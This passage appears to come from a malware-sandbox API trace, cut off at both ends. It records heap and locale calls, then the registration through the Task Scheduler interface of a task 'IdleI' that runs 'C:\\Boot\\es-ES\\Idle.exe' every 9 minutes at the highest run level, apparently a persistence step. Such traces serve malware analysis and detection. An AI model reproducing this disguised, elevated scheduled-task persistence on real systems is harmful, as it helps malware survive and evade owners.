(_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.871] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0134.871] lstrlenW (lpString="Fourth") returned 6 [0134.871] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.871] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0134.871] lstrlenW (lpString="Last") returned 4 [0134.871] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c3e0, cchData=128 | out: lpLCData="0") returned 2 [0134.871] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.871] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0134.871] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0134.871] GetProcessHeap () returned 0x2f0000 [0134.871] GetProcessHeap () returned 0x2f0000 [0134.871] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5b0) returned 1 [0134.871] GetProcessHeap () returned 0x2f0000 [0134.871] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5b0) returned 0xc [0134.871] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5b0 | out: hHeap=0x2f0000) returned 1 [0134.871] GetProcessHeap () returned 0x2f0000 [0134.872] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d5b0 [0134.872] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c400, cchData=128 | out: lpLCData="0") returned 2 [0134.872] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.872] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0134.872] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0134.872] GetProcessHeap () returned 0x2f0000 [0134.872] GetProcessHeap () returned 0x2f0000 [0134.872] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5d0) returned 1 [0134.872] GetProcessHeap () returned 0x2f0000 [0134.872] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5d0) returned 0xe [0134.872] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5d0 | out: hHeap=0x2f0000) returned 1 [0134.872] GetProcessHeap () returned 0x2f0000 [0134.872] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d5d0 [0134.872] GetLocalTime (in: lpSystemTime=0x19c630 | out: lpSystemTime=0x19c630*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3a, wMilliseconds=0x30d)) [0134.872] lstrlenW (lpString="") returned 0 [0134.872] GetLocalTime (in: lpSystemTime=0x19cee8 | out: lpSystemTime=0x19cee8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3a, wMilliseconds=0x30d)) [0134.872] lstrlenW (lpString="") returned 0 [0134.872] lstrlenW (lpString="") returned 0 [0134.872] lstrlenW (lpString="") returned 0 [0134.872] lstrlenW (lpString="") returned 0 [0134.872] lstrlenW (lpString="9") returned 1 [0134.873] _wtol (_String="9") returned 9 [0134.873] lstrlenW (lpString="") returned 0 [0134.873] lstrlenW (lpString="") returned 0 [0134.873] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0134.926] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0134.966] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19ccb0 | out: ppv=0x19ccb0*=0x575a50) returned 0x0 [0134.974] TaskScheduler:ITaskService:Connect (This=0x575a50, serverName=0x19cd90*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19cd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0134.982] TaskScheduler:IUnknown:AddRef (This=0x575a50) returned 0x2 [0134.982] TaskScheduler:ITaskService:GetFolder (in: This=0x575a50, Path=0x0, ppFolder=0x19ce48 | out: ppFolder=0x19ce48*=0x577bd0) returned 0x0 [0134.987] TaskScheduler:ITaskService:NewTask (in: This=0x575a50, flags=0x0, ppDefinition=0x19ce40 | out: ppDefinition=0x19ce40*=0x577c20) returned 0x0 [0134.987] ITaskDefinition:get_Actions (in: This=0x577c20, ppActions=0x19cdc0 | out: ppActions=0x19cdc0*=0x577ce0) returned 0x0 [0134.987] IActionCollection:Create (in: This=0x577ce0, Type=0, ppAction=0x19cde0 | out: ppAction=0x19cde0*=0x576060) returned 0x0 [0134.987] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.988] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.988] lstrlenW (lpString=" ") returned 1 [0134.988] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.988] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0134.989] IUnknown:Release (This=0x576060) returned 0x1 [0134.989] IUnknown:Release (This=0x577ce0) returned 0x1 [0134.989] ITaskDefinition:get_Triggers (in: This=0x577c20, ppTriggers=0x19c940 | out: ppTriggers=0x19c940*=0x577e20) returned 0x0 [0134.989] ITriggerCollection:Create (in: This=0x577e20, Type=1, ppTrigger=0x19c938 | out: ppTrigger=0x19c938*=0x5760d0) returned 0x0 [0134.989] lstrlenW (lpString="9") returned 1 [0134.989] _vsnwprintf (in: _Buffer=0x19c8c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x19c8b8 | out: _Buffer="PT9M") returned 4 [0134.989] ITrigger:get_Repetition (in: This=0x5760d0, ppRepeat=0x19c930 | out: ppRepeat=0x19c930*=0x576160) returned 0x0 [0134.990] IRepetitionPattern:put_Interval (This=0x576160, Interval="PT9M") returned 0x0 [0134.990] IUnknown:Release (This=0x576160) returned 0x1 [0134.990] _vsnwprintf (in: _Buffer=0x19c880, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19c858 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0134.990] ITrigger:put_StartBoundary (This=0x5760d0, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0134.990] lstrlenW (lpString="") returned 0 [0134.990] lstrlenW (lpString="") returned 0 [0134.990] lstrlenW (lpString="") returned 0 [0134.990] lstrlenW (lpString="") returned 0 [0134.990] IUnknown:Release (This=0x5760d0) returned 0x1 [0134.990] IUnknown:Release (This=0x577e20) returned 0x1 [0134.990] ITaskDefinition:get_Settings (in: This=0x577c20, ppSettings=0x19cde0 | out: ppSettings=0x19cde0*=0x577e90) returned 0x0 [0134.990] lstrlenW (lpString="") returned 0 [0134.990] IUnknown:Release (This=0x577e90) returned 0x1 [0134.991] GetLocalTime (in: lpSystemTime=0x19cc98 | out: lpSystemTime=0x19cc98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3a, wMilliseconds=0x37a)) [0134.991] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0134.991] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0134.991] GetUserNameW (in: lpBuffer=0x19ccc0, pcbBuffer=0x19cca8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19cca8) returned 1 [0134.991] ITaskDefinition:get_RegistrationInfo (in: This=0x577c20, ppRegistrationInfo=0x19cc90 | out: ppRegistrationInfo=0x19cc90*=0x577d60) returned 0x0 [0134.992] IRegistrationInfo:put_Author (This=0x577d60, Author="") returned 0x0 [0134.992] _vsnwprintf (in: _Buffer=0x19ccc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19cc58 | out: _Buffer="2022-08-06T02:18:58") returned 19 [0134.992] IRegistrationInfo:put_Date (This=0x577d60, Date="") returned 0x0 [0134.992] IUnknown:Release (This=0x577d60) returned 0x1 [0134.992] malloc (_Size=0x18) returned 0x577b80 [0134.992] free (_Block=0x577b80) [0134.992] lstrlenW (lpString="") returned 0 [0134.992] ITaskDefinition:get_Principal (in: This=0x577c20, ppPrincipal=0x19ceb0 | out: ppPrincipal=0x19ceb0*=0x575fb0) returned 0x0 [0134.993] IPrincipal:put_RunLevel (This=0x575fb0, RunLevel=1) returned 0x0 [0134.993] IUnknown:Release (This=0x575fb0) returned 0x1 [0134.993] malloc (_Size=0x18) returned 0x577b80 [0134.993] ITaskFolder:RegisterTaskDefinition (in: This=0x577bd0, Path="IdleI", pDefinition=0x577c20, flags=6, UserId=0x19cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19ee40, varVal2=0xfe), LogonType=3, sddl=0x19cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19ce50 | out: ppTask=0x19ce50*=0x577fd0) returned 0x0 [0135.130] free (_Block=0x577b80) [0135.131] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0135.131] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0135.131] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0135.131] GetProcessHeap () returned 0x2f0000 [0135.131] GetProcessHeap () returned 0x2f0000 [0135.131] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5f0) returned 1 [0135.131] GetProcessHeap () returned 0x2f0000 [0135.131] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5f0) returned 0xc [0135.131] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5f0 | out: hHeap=0x2f0000) returned 1 [0135.131] GetProcessHeap () returned 0x2f0000 [0135.131] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x82) returned 0x3299d0 [0135.131] _vsnwprintf (in: _Buffer=0x19d590, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19cdf8 | out: _Buffer="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n") returned 67 [0135.131] _fileno (_File=0x7fefed02ab0) returned -2 [0135.131] _errno () returned 0x574bb0 [0135.131] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0135.131] SetLastError (dwErrCode=0x6) [0135.131] lstrlenW (lpString="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n") returned 67 [0135.132] GetConsoleOutputCP () returned 0x0 [0135.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0135.132] GetConsoleOutputCP () returned 0x0 [0135.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"IdleI\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0135.132] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 67 [0135.132] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0135.132] IUnknown:Release (This=0x577fd0) returned 0x0 [0135.132] TaskScheduler:IUnknown:Release (This=0x577c20) returned 0x0 [0135.132] TaskScheduler:IUnknown:Release (This=0x577bd0) returned 0x0 [0135.132] TaskScheduler:IUnknown:Release (This=0x575a50) returned 0x1 [0135.132] lstrlenW (lpString="") returned 0 [0135.132] lstrlenW (lpString="9") returned 1 [0135.132] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="9", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0135.132] GetProcessHeap () returned 0x2f0000 [0135.132] GetProcessHeap () returned 0x2f0000 [0135.132] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c220) returned 1 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c220) returned 0x1fc [0135.133] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c220 | out: hHeap=0x2f0000) returned 1 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b960) returned 1 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b960) returned 0x4 [0135.133] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b960 | out: hHeap=0x2f0000) returned 1 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4b0) returned 1 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d4b0) returned 0x16 [0135.133] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4b0 | out: hHeap=0x2f0000) returned 1 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.133] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d530) returned 1 [0135.133] GetProcessHeap () returned 0x2f0000 [0135.134] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d530) returned 0x18 [0135.134] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d530 | out: hHeap=0x2f0000) returned 1 [0135.134] GetProcessHeap () returned 0x2f0000 [0135.134] GetProcessHeap () returned 0x2f0000 [0135.134] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd80) returned 1 [0135.134] GetProcessHeap () returned 0x2f0000 [0135.134] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd80) returned 0x20 [0135.134] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd80 | out: hHeap=0x2f0000) returned 1 [0135.134] GetProcessHeap () returned 0x2f0000 [0135.134] GetProcessHeap () returned 0x2f0000 [0135.134] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bfc0) returned 1 [0135.134] GetProcessHeap () returned 0x2f0000 [0135.134] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bfc0) returned 0xa0 [0135.135] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bfc0 | out: hHeap=0x2f0000) returned 1 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba40) returned 1 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba40) returned 0x18 [0135.135] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba40 | out: hHeap=0x2f0000) returned 1 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cae0) returned 1 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cae0) returned 0x20 [0135.135] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cae0 | out: hHeap=0x2f0000) returned 1 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307ae0) returned 1 [0135.135] GetProcessHeap () returned 0x2f0000 [0135.135] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307ae0) returned 0x32 [0135.136] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307ae0 | out: hHeap=0x2f0000) returned 1 [0135.136] GetProcessHeap () returned 0x2f0000 [0135.136] GetProcessHeap () returned 0x2f0000 [0135.136] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d490) returned 1 [0135.136] GetProcessHeap () returned 0x2f0000 [0135.136] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d490) returned 0x18 [0135.136] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d490 | out: hHeap=0x2f0000) returned 1 [0135.136] GetProcessHeap () returned 0x2f0000 [0135.136] GetProcessHeap () returned 0x2f0000 [0135.136] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cab0) returned 1 [0135.136] GetProcessHeap () returned 0x2f0000 [0135.136] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cab0) returned 0x20 [0135.137] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cab0 | out: hHeap=0x2f0000) returned 1 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a60) returned 1 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307a60) returned 0x34 [0135.137] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a60 | out: hHeap=0x2f0000) returned 1 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d510) returned 1 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d510) returned 0x18 [0135.137] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d510 | out: hHeap=0x2f0000) returned 1 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ca80) returned 1 [0135.137] GetProcessHeap () returned 0x2f0000 [0135.137] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ca80) returned 0x20 [0135.138] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ca80 | out: hHeap=0x2f0000) returned 1 [0135.138] GetProcessHeap () returned 0x2f0000 [0135.138] GetProcessHeap () returned 0x2f0000 [0135.138] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4f0) returned 1 [0135.138] GetProcessHeap () returned 0x2f0000 [0135.138] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d4f0) returned 0xe [0135.138] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4f0 | out: hHeap=0x2f0000) returned 1 [0135.138] GetProcessHeap () returned 0x2f0000 [0135.138] GetProcessHeap () returned 0x2f0000 [0135.138] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4d0) returned 1 [0135.138] GetProcessHeap () returned 0x2f0000 [0135.138] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d4d0) returned 0x18 [0135.138] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4d0 | out: hHeap=0x2f0000) returned 1 [0135.139] GetProcessHeap () returned 0x2f0000 [0135.139] GetProcessHeap () returned 0x2f0000 [0135.139] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d20) returned 1 [0135.139] GetProcessHeap () returned 0x2f0000 [0135.139] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d20) returned 0x20 [0135.139] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d20 | out: hHeap=0x2f0000) returned 1 [0135.139] GetProcessHeap () returned 0x2f0000 [0135.139] GetProcessHeap () returned 0x2f0000 [0135.139] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bbc0) returned 1 [0135.139] GetProcessHeap () returned 0x2f0000 [0135.139] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bbc0) returned 0x208 [0135.140] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bbc0 | out: hHeap=0x2f0000) returned 1 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.140] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba20) returned 1 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.140] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba20) returned 0x18 [0135.140] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba20 | out: hHeap=0x2f0000) returned 1 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.140] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c30) returned 1 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.140] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c30) returned 0x20 [0135.140] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c30 | out: hHeap=0x2f0000) returned 1 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.140] GetProcessHeap () returned 0x2f0000 [0135.141] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d250) returned 1 [0135.141] GetProcessHeap () returned 0x2f0000 [0135.141] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d250) returned 0x200 [0135.141] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d250 | out: hHeap=0x2f0000) returned 1 [0135.141] GetProcessHeap () returned 0x2f0000 [0135.141] GetProcessHeap () returned 0x2f0000 [0135.141] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba60) returned 1 [0135.141] GetProcessHeap () returned 0x2f0000 [0135.141] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba60) returned 0x18 [0135.141] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba60 | out: hHeap=0x2f0000) returned 1 [0135.141] GetProcessHeap () returned 0x2f0000 [0135.141] GetProcessHeap () returned 0x2f0000 [0135.141] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ba0) returned 1 [0135.141] GetProcessHeap () returned 0x2f0000 [0135.141] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ba0) returned 0x20 [0135.142] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ba0 | out: hHeap=0x2f0000) returned 1 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1d0) returned 1 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c1d0) returned 0x14 [0135.142] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1d0 | out: hHeap=0x2f0000) returned 1 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1b0) returned 1 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c1b0) returned 0x18 [0135.142] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1b0 | out: hHeap=0x2f0000) returned 1 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ae0) returned 1 [0135.142] GetProcessHeap () returned 0x2f0000 [0135.142] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ae0) returned 0x20 [0135.143] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ae0 | out: hHeap=0x2f0000) returned 1 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1f0) returned 1 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c1f0) returned 0x16 [0135.143] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1f0 | out: hHeap=0x2f0000) returned 1 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c170) returned 1 [0135.143] GetProcessHeap () returned 0x2f0000 [0135.143] RtlSizeHeap (HeapHandle=0x2f0000, 